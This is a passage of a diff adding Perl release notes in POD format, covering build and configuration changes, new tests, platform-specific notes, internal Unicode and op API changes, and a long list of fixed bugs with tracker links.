+in particular, to be rebuilt unnecessarily.
+L<[perl #126710]|https://rt.perl.org/Public/Bug/Display.html?id=126710>
+
+=item *
+
+The output of C<perl -V> has been reformatted so that each configuration
+and compile-time option is now listed one per line, to improve
+readability.
+
+=item *
+
+F<Configure> now builds C<miniperl> and C<generate_uudmap> if you
+invoke it with C<-Dusecrosscompiler> but not C<-Dtargethost=somehost>.
+This means you can supply your target platform C<config.sh>, generate
+the headers and proceed to build your cross-target perl.
+L<[perl #127234]|https://rt.perl.org/Public/Bug/Display.html?id=127234>
+
+=item *
+
+Perl built with C<-Accflags=-DPERL_TRACE_OPS> now only dumps the operator
+counts when the environment variable C<PERL_TRACE_OPS> is set to a
+non-zero integer. This allows C<make test> to pass on such a build.
+
+=item *
+
+When building with GCC 6 and link-time optimization (the C<-flto> option to
+C<gcc>), F<Configure> was treating all probed symbols as present on the
+system, regardless of whether they actually exist. This has been fixed.
+L<[perl #128131]|https://rt.perl.org/Public/Bug/Display.html?id=128131>
+
+=item *
+
+The F<t/test.pl> library is used for internal testing of Perl itself, and
+also copied by several CPAN modules. Some of those modules must work on
+older versions of Perl, so F<t/test.pl> must in turn avoid newer Perl
+features. Compatibility with Perl 5.8 was inadvertently removed some time
+ago; it has now been restored.
+L<[perl #128052]|https://rt.perl.org/Public/Bug/Display.html?id=128052>
+
+=item *
+
+The build process no longer emits an extra blank line before building each
+"simple" extension (those with only F<*.pm> and F<*.pod> files).
+
+=back
+
+=head1 Testing
+
+Tests were added and changed to reflect the other additions and changes
+in this release. Furthermore, these substantive changes were made:
+
+=over 4
+
+=item *
+
+A new test script, F<comp/parser_run.t>, has been added that is like
+F<comp/parser.t> but with F<test.pl> included so that C<runperl()> and the
+like are available for use.
+
+=item *
+
+Tests for locales were erroneously using locales incompatible with Perl.
+
+=item *
+
+Some parts of the test suite that try to exhaustively test edge cases in the
+regex implementation have been restricted to running for a maximum of five
+minutes. On slow systems they could otherwise take several hours, without
+significantly improving our understanding of the correctness of the code
+under test.
+
+=item *
+
+A new internal facility allows analysing the time taken by the individual
+tests in Perl's own test suite; see F<Porting/harness-timer-report.pl>.
+
+=item *
+
+F<t/re/regexp_nonull.t> has been added to test that the regular expression
+engine can handle scalars that do not have a null byte just past the end of
+the string.
+
+=item *
+
+A new test script, F<t/op/decl-refs.t>, has been added to test the new feature
+L</Declaring a reference to a variable>.
+
+=item *
+
+A new test script, F<t/re/keep_tabs.t> has been added to contain tests
+where C<\t> characters should not be expanded into spaces.
+
+=item *
+
+A new test script, F<t/re/anyof.t>, has been added to test that the ANYOF nodes
+generated by bracketed character classes are as expected.
+
+=item *
+
+There is now more extensive testing of the Unicode-related API macros
+and functions.
+
+=item *
+
+Several of the longer running API test files have been split into
+multiple test files so that they can be run in parallel.
+
+=item *
+
+F<t/harness> now tries really hard not to run tests which are located
+outside of the Perl source tree.
+L<[perl #124050]|https://rt.perl.org/Public/Bug/Display.html?id=124050>
+
+=item *
+
+Prevent debugger tests (F<lib/perl5db.t>) from failing due to the contents
+of C<$ENV{PERLDB_OPTS}>.
+L<[perl #130445]|https://rt.perl.org/Public/Bug/Display.html?id=130445>
+
+=back
+
+=head1 Platform Support
+
+=head2 New Platforms
+
+=over 4
+
+=item NetBSD/VAX
+
+Perl now compiles under NetBSD on VAX machines. However, it's not
+possible for that platform to implement floating-point infinities and
+NaNs compatible with most modern systems, which implement the IEEE-754
+floating point standard. The hexadecimal floating point (C<0x...p[+-]n>
+literals, C<printf %a>) is not implemented, either.
+The C<make test> passes 98% of tests.
+
+=over 4
+
+=item *
+
+Test fixes and minor updates.
+
+=item *
+
+Account for lack of C<inf>, C<nan>, and C<-0.0> support.
+
+=back
+
+=back
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item Darwin
+
+=over 4
+
+=item *
+
+Don't treat C<-Dprefix=/usr> as special: instead require an extra option
+C<-Ddarwin_distribution> to produce the same results.
+
+=item *
+
+OS X El Capitan doesn't implement the C<clock_gettime()> or
+C<clock_getres()> APIs; emulate them as necessary.
+
+=item *
+
+Deprecated C<syscall(2)> on macOS 10.12.
+
+=back
+
+=item EBCDIC
+
+Several tests have been updated to work (or be skipped) on EBCDIC platforms.
+
+=item HP-UX
+
+The L<Net::Ping> UDP test is now skipped on HP-UX.
+
+=item Hurd
+
+The hints for Hurd have been improved, enabling malloc wrap and reporting the
+GNU libc used (previously it was an empty string when reported).
+
+=item VAX
+
+VAX floating point formats are now supported on NetBSD.
+
+=item VMS
+
+=over 4
+
+=item *
+
+The path separator for the C<PERL5LIB> and C<PERLLIB> environment entries is
+now a colon (C<":">) when running under a Unix shell. There is no change when
+running under DCL (it's still C<"|">).
+
+=item *
+
+F<configure.com> now recognizes the VSI-branded C compiler and no longer
+recognizes the "DEC"-branded C compiler (as there hasn't been such a thing for
+15 or more years).
+
+=back
+
+=item Windows
+
+=over 4
+
+=item *
+
+Support for compiling perl on Windows using Microsoft Visual Studio 2015
+(containing Visual C++ 14.0) has been added.
+
+This version of VC++ includes a completely rewritten C run-time library, some
+of the changes in which mean that work done to resolve a socket
+C<close()> bug in
+perl #120091 and perl #118059 is not workable in its current state with this
+version of VC++. Therefore, we have effectively reverted that bug fix for
+VS2015 onwards on the basis that being able to build with VS2015 onwards is
+more important than keeping the bug fix. We may revisit this in the future to
+attempt to fix the bug again in a way that is compatible with VS2015.
+
+These changes do not affect compilation with GCC or with Visual Studio versions
+up to and including VS2013, I<i.e.>, the bug fix is retained (unchanged) for those
+compilers.
+
+Note that you may experience compatibility problems if you mix a perl built
+with GCC or VS E<lt>= VS2013 with XS modules built with VS2015, or if you mix a
+perl built with VS2015 with XS modules built with GCC or VS E<lt>= VS2013.
+Some incompatibility may arise because of the bug fix that has been reverted
+for VS2015 builds of perl, but there may well be incompatibility anyway because
+of the rewritten CRT in VS2015 (I<e.g.>, see discussion at
+L<http://stackoverflow.com/questions/30412951>).
+
+=item *
+
+It now automatically detects GCC versus Visual C and sets the VC version
+number on Win32.
+
+=back
+
+=item Linux
+
+Drop support for Linux F<a.out> executable format. Linux has used ELF for
+over twenty years.
+
+=item OpenBSD 6
+
+OpenBSD 6 still does not support returning C<pid>, C<gid>, or C<uid> with
+C<SA_SIGINFO>. Make sure to account for it.
+
+=item FreeBSD
+
+F<t/uni/overload.t>: Skip hanging test on FreeBSD.
+
+=item DragonFly BSD
+
+DragonFly BSD now has support for C<setproctitle()>.
+L<[perl #130068]|https://rt.perl.org/Public/Bug/Display.html?id=130068>.
+
+=back
+
+=head1 Internal Changes
+
+=over 4
+
+=item *
+
+A new API function L<C<sv_setpv_bufsize()>|perlapi/sv_setpv_bufsize>
+allows simultaneously setting the
+length and the allocated size of the buffer in an C<SV>, growing the
+buffer if necessary.
+
+=item *
+
+A new API macro L<C<SvPVCLEAR()>|perlapi/SvPVCLEAR> sets its C<SV>
+argument to an empty string,
+like Perl-space C<$x = ''>, but with several optimisations.
+
+=item *
+
+Several new macros and functions for dealing with Unicode and
+UTF-8-encoded strings have been added to the API, as well as some
+changes in the
+functionality of existing functions (see L<perlapi/Unicode Support> for
+more details):
+
+=over
+
+=item *
+
+New versions of the API macros like C<isALPHA_utf8> and C<toLOWER_utf8>
+have been added, each with the suffix C<_safe>, like
+L<C<isSPACE_utf8_safe>|perlapi/isSPACE>. These take an extra
+parameter, giving an upper
+limit of how far into the string it is safe to read. Using the old
+versions could cause attempts to read beyond the end of the input buffer
+if the UTF-8 is not well-formed, and their use now raises a deprecation
+warning. Details are at L<perlapi/Character classification>.
+
+=item *
+
+Macros like L<C<isALPHA_utf8>|perlapi/isALPHA> and
+L<C<toLOWER_utf8>|perlapi/toLOWER_utf8> now die if they detect
+that their input UTF-8 is malformed. A deprecation warning had been
+issued since Perl 5.18.
+
+=item *
+
+Several new macros for analysing the validity of utf8 sequences. These
+are:
+
+L<C<UTF8_GOT_ABOVE_31_BIT>|perlapi/UTF8_GOT_ABOVE_31_BIT>
+L<C<UTF8_GOT_CONTINUATION>|perlapi/UTF8_GOT_CONTINUATION>
+L<C<UTF8_GOT_EMPTY>|perlapi/UTF8_GOT_EMPTY>
+L<C<UTF8_GOT_LONG>|perlapi/UTF8_GOT_LONG>
+L<C<UTF8_GOT_NONCHAR>|perlapi/UTF8_GOT_NONCHAR>
+L<C<UTF8_GOT_NON_CONTINUATION>|perlapi/UTF8_GOT_NON_CONTINUATION>
+L<C<UTF8_GOT_OVERFLOW>|perlapi/UTF8_GOT_OVERFLOW>
+L<C<UTF8_GOT_SHORT>|perlapi/UTF8_GOT_SHORT>
+L<C<UTF8_GOT_SUPER>|perlapi/UTF8_GOT_SUPER>
+L<C<UTF8_GOT_SURROGATE>|perlapi/UTF8_GOT_SURROGATE>
+L<C<UTF8_IS_INVARIANT>|perlapi/UTF8_IS_INVARIANT>
+L<C<UTF8_IS_NONCHAR>|perlapi/UTF8_IS_NONCHAR>
+L<C<UTF8_IS_SUPER>|perlapi/UTF8_IS_SUPER>
+L<C<UTF8_IS_SURROGATE>|perlapi/UTF8_IS_SURROGATE>
+L<C<UVCHR_IS_INVARIANT>|perlapi/UVCHR_IS_INVARIANT>
+L<C<isUTF8_CHAR_flags>|perlapi/isUTF8_CHAR_flags>
+L<C<isSTRICT_UTF8_CHAR>|perlapi/isSTRICT_UTF8_CHAR>
+L<C<isC9_STRICT_UTF8_CHAR>|perlapi/isC9_STRICT_UTF8_CHAR>
+
+=item *
+
+Functions that are all extensions of the C<is_utf8_string_I<*>()> functions,
+that apply various restrictions to the UTF-8 recognized as valid:
+
+L<C<is_strict_utf8_string>|perlapi/is_strict_utf8_string>,
+L<C<is_strict_utf8_string_loc>|perlapi/is_strict_utf8_string_loc>,
+L<C<is_strict_utf8_string_loclen>|perlapi/is_strict_utf8_string_loclen>,
+
+L<C<is_c9strict_utf8_string>|perlapi/is_c9strict_utf8_string>,
+L<C<is_c9strict_utf8_string_loc>|perlapi/is_c9strict_utf8_string_loc>,
+L<C<is_c9strict_utf8_string_loclen>|perlapi/is_c9strict_utf8_string_loclen>,
+
+L<C<is_utf8_string_flags>|perlapi/is_utf8_string_flags>,
+L<C<is_utf8_string_loc_flags>|perlapi/is_utf8_string_loc_flags>,
+L<C<is_utf8_string_loclen_flags>|perlapi/is_utf8_string_loclen_flags>,
+
+L<C<is_utf8_fixed_width_buf_flags>|perlapi/is_utf8_fixed_width_buf_flags>,
+L<C<is_utf8_fixed_width_buf_loc_flags>|perlapi/is_utf8_fixed_width_buf_loc_flags>,
+L<C<is_utf8_fixed_width_buf_loclen_flags>|perlapi/is_utf8_fixed_width_buf_loclen_flags>.
+
+L<C<is_utf8_invariant_string>|perlapi/is_utf8_invariant_string>.
+L<C<is_utf8_valid_partial_char>|perlapi/is_utf8_valid_partial_char>.
+L<C<is_utf8_valid_partial_char_flags>|perlapi/is_utf8_valid_partial_char_flags>.
+
+=item *
+
+The functions L<C<utf8n_to_uvchr>|perlapi/utf8n_to_uvchr> and its
+derivatives have had several changes of behaviour.
+
+Calling them, while passing a string length of 0 is now asserted against
+in DEBUGGING builds, and otherwise, returns the Unicode REPLACEMENT
+CHARACTER. If you have nothing to decode, you shouldn't call the decode
+function.
+
+They now return the Unicode REPLACEMENT CHARACTER if called with UTF-8
+that has the overlong malformation and that malformation is allowed by
+the input parameters. This malformation is where the UTF-8 looks valid
+syntactically, but there is a shorter sequence that yields the same code
+point. This has been forbidden since Unicode version 3.1.
+
+They now accept an input
+flag to allow the overflow malformation. This malformation is when the
+UTF-8 may be syntactically valid, but the code point it represents is
+not capable of being represented in the word length on the platform.
+What "allowed" means, in this case, is that the function doesn't return an
+error, and it advances the parse pointer to beyond the UTF-8 in
+question, but it returns the Unicode REPLACEMENT CHARACTER as the value
+of the code point (since the real value is not representable).
+
+They no longer abandon searching for other malformations when the first
+one is encountered. A call to one of these functions thus can generate
+multiple diagnostics, instead of just one.
+
+=item *
+
+L<C<valid_utf8_to_uvchr()>|perlapi/valid_utf8_to_uvchr> has been added
+to the API (although it was
+present in core earlier). Like C<utf8_to_uvchr_buf()>, but assumes that
+the next character is well-formed. Use with caution.
+
+=item *
+
+A new function, L<C<utf8n_to_uvchr_error>|perlapi/utf8n_to_uvchr_error>,
+has been added for
+use by modules that need to know the details of UTF-8 malformations
+beyond pass/fail. Previously, the only ways to know why a sequence was
+ill-formed was to capture and parse the generated diagnostics or to do
+your own analysis.
+
+=item *
+
+There is now a safer version of utf8_hop(), called
+L<C<utf8_hop_safe()>|perlapi/utf8_hop_safe>.
+Unlike utf8_hop(), utf8_hop_safe() won't navigate before the beginning or
+after the end of the supplied buffer.
+
+=item *
+
+Two new functions, L<C<utf8_hop_forward()>|perlapi/utf8_hop_forward> and
+L<C<utf8_hop_back()>|perlapi/utf8_hop_back> are
+similar to C<utf8_hop_safe()> but are for when you know which direction
+you wish to travel.
+
+=item *
+
+Two new macros which return useful utf8 byte sequences:
+
+L<C<BOM_UTF8>|perlapi/BOM_UTF8>
+
+L<C<REPLACEMENT_CHARACTER_UTF8>|perlapi/REPLACEMENT_CHARACTER_UTF8>
+
+=back
+
+=item *
+
+Perl is now built with the C<PERL_OP_PARENT> compiler define enabled by
+default. To disable it, use the C<PERL_NO_OP_PARENT> compiler define.
+This flag alters how the C<op_sibling> field is used in C<OP> structures,
+and has been available optionally since perl 5.22.
+
+See L<perl5220delta/"Internal Changes"> for more details of what this
+build option does.
+
+=item *
+
+Three new ops, C<OP_ARGELEM>, C<OP_ARGDEFELEM>, and C<OP_ARGCHECK> have
+been added. These are intended principally to implement the individual
+elements of a subroutine signature, plus any overall checking required.
+
+=item *
+
+The C<OP_PUSHRE> op has been eliminated and the C<OP_SPLIT> op has been
+changed from class C<LISTOP> to C<PMOP>.
+
+Formerly the first child of a split would be a C<pushre>, which would have the
+C<split>'s regex attached to it. Now the regex is attached directly to the
+C<split> op, and the C<pushre> has been eliminated.
+
+=item *
+
+The L<C<op_class()>|perlapi/op_class> API function has been added. This
+is like the existing
+C<OP_CLASS()> macro, but can more accurately determine what struct an op
+has been allocated as. For example C<OP_CLASS()> might return
+C<OA_BASEOP_OR_UNOP> indicating that ops of this type are usually
+allocated as an C<OP> or C<UNOP>; while C<op_class()> will return
+C<OPclass_BASEOP> or C<OPclass_UNOP> as appropriate.
+
+=item *
+
+All parts of the internals now agree that the C<sassign> op is a C<BINOP>;
+previously it was listed as a C<BASEOP> in F<regen/opcodes>, which meant
+that several parts of the internals had to be special-cased to accommodate
+it. This oddity's original motivation was to handle code like C<$x ||= 1>;
+that is now handled in a simpler way.
+
+=item *
+
+The output format of the L<C<op_dump()>|perlapi/op_dump> function (as
+used by C<perl -Dx>)
+has changed: it now displays an "ASCII-art" tree structure, and shows more
+low-level details about each op, such as its address and class.
+
+=item *
+
+The C<PADOFFSET> type has changed from being unsigned to signed, and
+several pad-related variables such as C<PL_padix> have changed from being
+of type C<I32> to type C<PADOFFSET>.
+
+=item *
+
+The C<DEBUGGING>-mode output for regex compilation and execution has been
+enhanced.
+
+=item *
+
+Several obscure SV flags have been eliminated, sometimes along with the
+macros which manipulate them: C<SVpbm_VALID>, C<SVpbm_TAIL>, C<SvTAIL_on>,
+C<SvTAIL_off>, C<SVrepl_EVAL>, C<SvEVALED>.
+
+=item *
+
+An OP C<op_private> flag has been eliminated: C<OPpRUNTIME>. This used to
+often get set on C<PMOP> ops, but had become meaningless over time.
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+Perl no longer panics when switching into some locales on machines with
+buggy C<strxfrm()> implementations in their F<libc>.
+L<[perl #121734]|https://rt.perl.org/Public/Bug/Display.html?id=121734>
+
+=item *
+
+C< $-{$name} > would leak an C<AV> on each access if the regular
+expression had no named captures. The same applies to access to any
+hash tied with L<Tie::Hash::NamedCapture> and C<< all =E<gt> 1 >>.
+L<[perl #130822]|https://rt.perl.org/Public/Bug/Display.html?id=130822>
+
+=item *
+
+Attempting to use the deprecated variable C<$#> as the object in an
+indirect object method call could cause a heap use after free or
+buffer overflow.
+L<[perl #129274]|https://rt.perl.org/Public/Bug/Display.html?id=129274>
+
+=item *
+
+When checking for an indirect object method call, in some rare cases
+the parser could reallocate the line buffer but then continue to use
+pointers to the old buffer.
+L<[perl #129190]|https://rt.perl.org/Public/Bug/Display.html?id=129190>
+
+=item *
+
+Supplying a glob as the format argument to
+L<C<formline>|perlfunc/formline> would
+cause an assertion failure.
+L<[perl #130722]|https://rt.perl.org/Public/Bug/Display.html?id=130722>
+
+=item *
+
+Code like C< $value1 =~ qr/.../ ~~ $value2 > would have the match
+converted into a C<qr//> operator, leaving extra elements on the stack to
+confuse any surrounding expression.
+L<[perl #130705]|https://rt.perl.org/Public/Bug/Display.html?id=130705>
+
+=item *
+
+Since v5.24 in some obscure cases, a regex which included code blocks
+from multiple sources (I<e.g.>, via embedded via C<qr//> objects) could end up
+with the wrong current pad and crash or give weird results.
+L<[perl #129881]|https://rt.perl.org/Public/Bug/Display.html?id=129881>
+
+=item *
+
+Occasionally C<local()>s in a code block within a patterns weren't being
+undone when the pattern matching backtracked over the code block.
+L<[perl #126697]|https://rt.perl.org/Public/Bug/Display.html?id=126697>
+
+=item *
+
+Using C<substr()> to modify a magic variable could access freed memory
+in some cases.
+L<[perl #129340]|https://rt.perl.org/Public/Bug/Display.html?id=129340>
+
+=item *
+
+Under C<use utf8>, the entire source code is now checked for being UTF-8
+well formed, not just quoted strings as before.
+L<[perl #126310]|https://rt.perl.org/Public/Bug/Display.html?id=126310>.
+
+=item *
+
+The range operator C<".."> on strings now handles its arguments correctly when in
+the scope of the L<< C<unicode_strings>|feature/"The 'unicode_strings' feature" >>
+feature. The previous behaviour was sufficiently unexpected that we believe no
+correct program could have made use of it.
+
+=item *
+
+The C<split> operator did not ensure enough space was allocated for
+its return value in scalar context. It could then write a single
+pointer immediately beyond the end of the memory block allocated for
+the stack.
+L<[perl #130262]|https://rt.perl.org/Public/Bug/Display.html?id=130262>
+
+=item *
+
+Using a large code point with the C<"W"> pack template character with
+the current output position aligned at just the right point could
+cause a write of a single zero byte immediately beyond the end of an
+allocated buffer.
+L<[perl #129149]|https://rt.perl.org/Public/Bug/Display.html?id=129149>
+
+=item *
+
+Supplying a format's picture argument as part of the format argument list
+where the picture specifies modifying the argument could cause an
+access to the new freed compiled form.at.
+L<[perl #129125]|https://rt.perl.org/Public/Bug/Display.html?id=129125>
+
+=item *
+
+The L<sort()|perlfunc/sort> operator's built-in numeric comparison
+function didn't handle large integers that weren't exactly
+representable by a double. This now uses the same code used to
+implement the C<< E<lt>=E<gt> >> operator.
+L<[perl #130335]|https://rt.perl.org/Public/Bug/Display.html?id=130335>
+
+=item *
+
+Fix issues with C</(?{ ... E<lt>E<lt>EOF })/> that broke
+L<Method::Signatures>.
+L<[perl #130398]|https://rt.perl.org/Public/Bug/Display.html?id=130398>
+
+=item *
+
+Fixed an assertion failure with C<chop> and C<chomp>, which
+could be triggered by C<chop(@x =~ tr/1/1/)>.
+L<[perl #130198]|https://rt.perl.org/Public/Bug/Display.html?id=130198>.
+
+=item *
+
+Fixed a comment skipping error in patterns under C</x>; it could stop
+skipping a byte early, which could be in the middle of a UTF-8
+character.
+L<[perl #130495]|https://rt.perl.org/Public/Bug/Display.html?id=130495>.
+
+=item *
+
+F<perldb> now ignores F</dev/tty> on non-Unix systems.
+L<[perl #113960]|https://rt.perl.org/Public/Bug/Display.html?id=113960>;
+
+=item *
+
+Fix assertion failure for C<{}-E<gt>$x> when C<$x> isn't defined.
+L<[perl #130496]|https://rt.perl.org/Public/Bug/Display.html?id=130496>.
+
+=item *
+
+Fix an assertion error which could be triggered when a lookahead string
+in patterns exceeded a minimum length.
+L<[perl #130522]|https://rt.perl.org/Public/Bug/Display.html?id=130522>.
+
+=item *
+
+Only warn once per literal number about a misplaced C<"_">.
+L<[perl #70878]|https://rt.perl.org/Public/Bug/Display.html?id=70878>.
+
+=item *
+
+The C<tr///> parse code could be looking at uninitialized data after a
+perse error.
+L<[perl #129342]|https://rt.perl.org/Public/Bug/Display.html?id=129342>.
+
+=item *
+
+In a pattern match, a back-reference (C<\1>) to an unmatched capture could
+read back beyond the start of the string being matched.
+L<[perl #129377]|https://rt.perl.org/Public/Bug/Display.html?id=129377>.
+
+=item *
+
+C<use re 'strict'> is supposed to warn if you use a range (such as
+C</(?[ [ X-Y ] ])/>) whose start and end digit aren't from the same group
+of 10. It didn't do that for five groups of mathematical digits starting
+at C<U+1D7E>.
+
+=item *
+
+A sub containing a "forward" declaration with the same name (I<e.g.>,
+C<sub c { sub c; }>) could sometimes crash or loop infinitely.
+L<[perl #129090]|https://rt.perl.org/Public/Bug/Display.html?id=129090>
+
+=item *
+
+A crash in executing a regex with a non-anchored UTF-8 substring against a
+target string that also used UTF-8 has been fixed.
+L<[perl #129350]|https://rt.perl.org/Public/Bug/Display.html?id=129350>
+
+=item *
+
+Previously, a shebang line like C<#!perl -i u> could be erroneously
+interpreted as requesting the C<-u> option. This has been fixed.
+L<[perl #129336]|https://rt.perl.org/Public/Bug/Display.html?id=129336>
+
+=item *
+
+The regex engine was previously producing incorrect results in some rare
+situations when backtracking past an alternation that matches only one
+thing; this
+showed up as capture buffers (C<$1>, C<$2>, I<etc.>) erroneously containing data
+from regex execution paths that weren't actually executed for the final
+match.
+L<[perl #129897]|https://rt.perl.org/Public/Bug/Display.html?id=129897>
+
+=item *
+
+Certain regexes making use of the experimental C<regex_sets> feature could
+trigger an assertion failure. This has been fixed.
+L<[perl #129322]|https://rt.perl.org/Public/Bug/Display.html?id=129322>
+
+=item *
+
+Invalid assignments to a reference constructor (I<e.g.>, C<\eval=time>) could
+sometimes crash in addition to giving a syntax error.
+L<[perl #125679]|https://rt.perl.org/Public/Bug/Display.html?id=125679>
+
+=item *
+
+The parser could sometimes crash if a bareword came after C<evalbytes>.
+L<[perl #129196]|https://rt.perl.org/Public/Bug/Display.html?id=129196>
+
+=item *
+
+Autoloading via a method call would warn erroneously ("Use of inherited
+AUTOLOAD for non-method") if there was a stub present in the package into
+which the invocant had been blessed. The warning is no longer emitted in
+such circumstances.
+L<[perl #47047]|https://rt.perl.org/Public/Bug/Display.html?id=47047>
+
+=item *
+
+The use of C<splice> on arrays with non-existent elements could cause other
+operators to crash.
+L<[perl #129164]|https://rt.perl.org/Public/Bug/Display.html?id=129164>
+
+=item *
+
+A possible buffer overrun when a pattern contains a fixed utf8 substring.
+L<[perl #129012]|https://rt.perl.org/Public/Bug/Display.html?id=129012>
+
+=item *
+
+Fixed two possible use-after-free bugs in perl's lexer.
+L<[perl #129069]|https://rt.perl.org/Public/Bug/Display.html?id=129069>
+
+=item *
+
+Fixed a crash with C<s///l> where it thought it was dealing with UTF-8
+when it wasn't.
+L<[perl #129038]|https://rt.perl.org/Public/Bug/Display.html?id=129038>
+
+=item *
+
+Fixed a place where the regex parser was not setting the syntax error
+correctly on a syntactically incorrect pattern.
+L<[perl #129122]|https://rt.perl.org/Public/Bug/Display.html?id=129122>
+
+=item *
+
+The C<&.> operator (and the C<"&"> operator, when it treats its arguments as
+strings) were failing to append a trailing null byte if at least one string
+was marked as utf8 internally. Many code paths (system calls, regexp
+compilation) still expect there to be a null byte in the string buffer
+just past the end of the logical string. An assertion failure was the
+result.
+L<[perl #129287]|https://rt.perl.org/Public/Bug/Display.html?id=129287>
+
+=item *
+
+Avoid a heap-after-use error in the parser when creating an error messge
+for a syntactically invalid heredoc.
+L<[perl #128988]|https://rt.perl.org/Public/Bug/Display.html?id=128988>
+
+=item *
+
+Fix a segfault when run with C<-DC> options on DEBUGGING builds.
+L<[perl #129106]|https://rt.perl.org/Public/Bug/Display.html?id=129106>
+
+=item *
+
+Fixed the parser error handling in subroutine attributes for an
+'C<:attr(foo>' that does not have an ending 'C<")">'.
+
+=item *
+
+Fix the perl lexer to correctly handle a backslash as the last char in
+quoted-string context. This actually fixed two bugs,
+L<[perl #129064]|https://rt.perl.org/Public/Bug/Display.html?id=129064> and
+L<[perl #129176]|https://rt.perl.org/Public/Bug/Display.html?id=129176>.
+
+=item *
+
+In the API function C<gv_fetchmethod_pvn_flags>, rework separator parsing
+to prevent possible string overrun with an invalid C<len> argument.
+L<[perl #129267]|https://rt.perl.org/Public/Bug/Display.html?id=129267>
+
+=item *
+
+Problems with in-place array sorts: code like C<@a = sort { ... } @a>,
+where the source and destination of the sort are the same plain array, are
+optimised to do less copying around. Two side-effects of this optimisation
+were that the contents of C<@a> as seen by sort routines were
+partially sorted; and under some circumstances accessing C<@a> during the
+sort could crash the interpreter. Both these issues have been fixed, and
+Sort functions see the original value of C<@a>.
+L<[perl #128340]|https://rt.perl.org/Public/Bug/Display.html?id=128340>
+
+=item *
+
+Non-ASCII string delimiters are now reported correctly in error messages
+for unterminated strings.
+L<[perl #128701]|https://rt.perl.org/Public/Bug/Display.html?id=128701>
+
+=item *
+
+C<pack("p", ...)> used to emit its warning ("Attempt to pack pointer to
+temporary value") erroneously in some cases, but has been fixed.
+
+=item *
+
+C<@DB::args> is now exempt from "used once" warnings. The warnings only
+occurred under B<-w>, because F<warnings.pm> itself uses C<@DB::args>
+multiple times.
+
+=item *
+
+The use of built-in arrays or hash slices in a double-quoted string no
+longer issues a warning ("Possible unintended interpolation...") if the
+variable has not been mentioned before. This affected code like
+C<qq|@DB::args|> and C<qq|@SIG{'CHLD', 'HUP'}|>. (The special variables
+C<@-> and C<@+> were already exempt from the warning.)
+
+=item *
+
+C<gethostent> and similar functions now perform a null check internally, to
+avoid crashing with the torsocks library. This was a regression from v5.22.
+L<[perl #128740]|https://rt.perl.org/Public/Bug/Display.html?id=128740>
+
+=item *
+
+C<defined *{'!'}>, C<defined *{'['}>, and C<defined *{'-'}> no longer leak
+memory if the typeglob in question has never been accessed before.
+
+=item *
+
+Mentioning the same constant twice in a row (which is a syntax error) no
+longer fails an assertion under debugging builds. This was a regression
+from v5.20.
+L<[perl #126482]|https://rt.perl.org/Public/Bug/Display.html?id=126482>
+
+=item *
+
+Many issues relating to C<printf "%a"> of hexadecimal floating point
+were fixed. In addition, the "subnormals" (formerly known as "denormals")
+floating point numbers are now supported both with the plain IEEE 754
+floating point numbers (64-bit or 128-bit) and the x86 80-bit
+"extended precision". Note that subnormal hexadecimal floating
+point literals will give a warning about "exponent underflow".
+L<[perl #128843]|https://rt.perl.org/Public/Bug/Display.html?id=128843>
+L<[perl #128889]|https://rt.perl.org/Public/Bug/Display.html?id=128889>
+L<[perl #128890]|https://rt.perl.org/Public/Bug/Display.html?id=128890>
+L<[perl #128893]|https://rt.perl.org/Public/Bug/Display.html?id=128893>
+L<[perl #128909]|https://rt.perl.org/Public/Bug/Display.html?id=128909>
+L<[perl #128919]|https://rt.perl.org/Public/Bug/Display.html?id=128919>
+
+=item *
+
+A regression in v5.24 with C<tr/\N{U+...}/foo/> when the code point was between
+128 and 255 has been fixed.
+L<[perl #128734]|https://rt.perl.org/Public/Bug/Display.html?id=128734>.
+
+=item *
+
+Use of a string delimiter whose code point is above 2**31 now works
+correctly on platforms that allow this. Previously, certain characters,
+due to truncation, would be confused with other delimiter characters
+with special meaning (such as C<"?"> in C<m?...?>), resulting
+in inconsistent behaviour. Note that this is non-portable,
+and is based on Perl's extension to UTF-8, and is probably not
+displayable nor enterable by any editor.
+L<[perl #128738]|https://rt.perl.org/Public/Bug/Display.html?id=128738>
+
+=item *
+
+C<@{x> followed by a newline where C<"x"> represents a control or non-ASCII
+character no longer produces a garbled syntax error message or a crash.
+L<[perl #128951]|https://rt.perl.org/Public/Bug/Display.html?id=128951>
+
+=item *
+
+An assertion failure with C<%: = 0> has been fixed.
+L<[perl #128238]|https://rt.perl.org/Public/Bug/Display.html?id=128238>
+
+=item *
+
+In Perl 5.18, the parsing of C<"$foo::$bar"> was accidentally changed, such
+that it would be treated as C<$foo."::".$bar>. The previous behavior, which
+was to parse it as C<$foo:: . $bar>, has been restored.
+L<[perl #128478]|https://rt.perl.org/Public/Bug/Display.html?id=128478>
+
+=item *
+
+Since Perl 5.20, line numbers have been off by one when perl is invoked with
+the B<-x> switch. This has been fixed.
+L<[perl #128508]|https://rt.perl.org/Public/Bug/Display.html?id=128508>
+
+=item *
+
+Vivifying a subroutine stub in a deleted stash (I<e.g.>,
+C<delete $My::{"Foo::"}; \&My::Foo::foo>) no longer crashes. It had begun
+crashing in Perl 5.18.
+L<[perl #128532]|https://rt.perl.org/Public/Bug/Display.html?id=128532>
+
+=item *
+
+Some obscure cases of subroutines and file handles being freed at the same time
+could result in crashes, but have been fixed. The crash was introduced in Perl
+5.22.
+L<[perl #128597]|https://rt.perl.org/Public/Bug/Display.html?id=128597>
+
+=item *
+
+Code that looks for a variable name associated with an uninitialized value
+could cause an assertion failure in cases where magic is involved, such as
+C<$ISA[0][0]>. This has now been fixed.
+L<[perl #128253]|https://rt.perl.org/Public/Bug/Display.html?id=128253>
+
+=item *
+
+A crash caused by code generating the warning "Subroutine STASH::NAME
+redefined" in cases such as C<sub P::f{} undef *P::; *P::f =sub{};> has been
+fixed. In these cases, where the STASH is missing, the warning will now appear
+as "Subroutine NAME redefined".
+L<[perl #128257]|https://rt.perl.org/Public/Bug/Display.html?id=128257>
+
+=item *
+
+Fixed an assertion triggered by some code that handles deprecated behavior in
+formats, I<e.g.>, in cases like this:
+
+ format STDOUT =
+ @
+ 0"$x"
+
+L<[perl #128255]|https://rt.perl.org/Public/Bug/Display.html?id=128255>
+
+=item *
+
+A possible divide by zero in string transformation code on Windows has been
+avoided, fixing a crash when collating an empty string.
+L<[perl #128618]|https://rt.perl.org/Public/Bug/Display.html?id=128618>
+
+=item *
+
+Some regular expression parsing glitches could lead to assertion failures with
+regular expressions such as C</(?E<lt>=/> and C</(?E<lt>!/>. This has now been fixed.
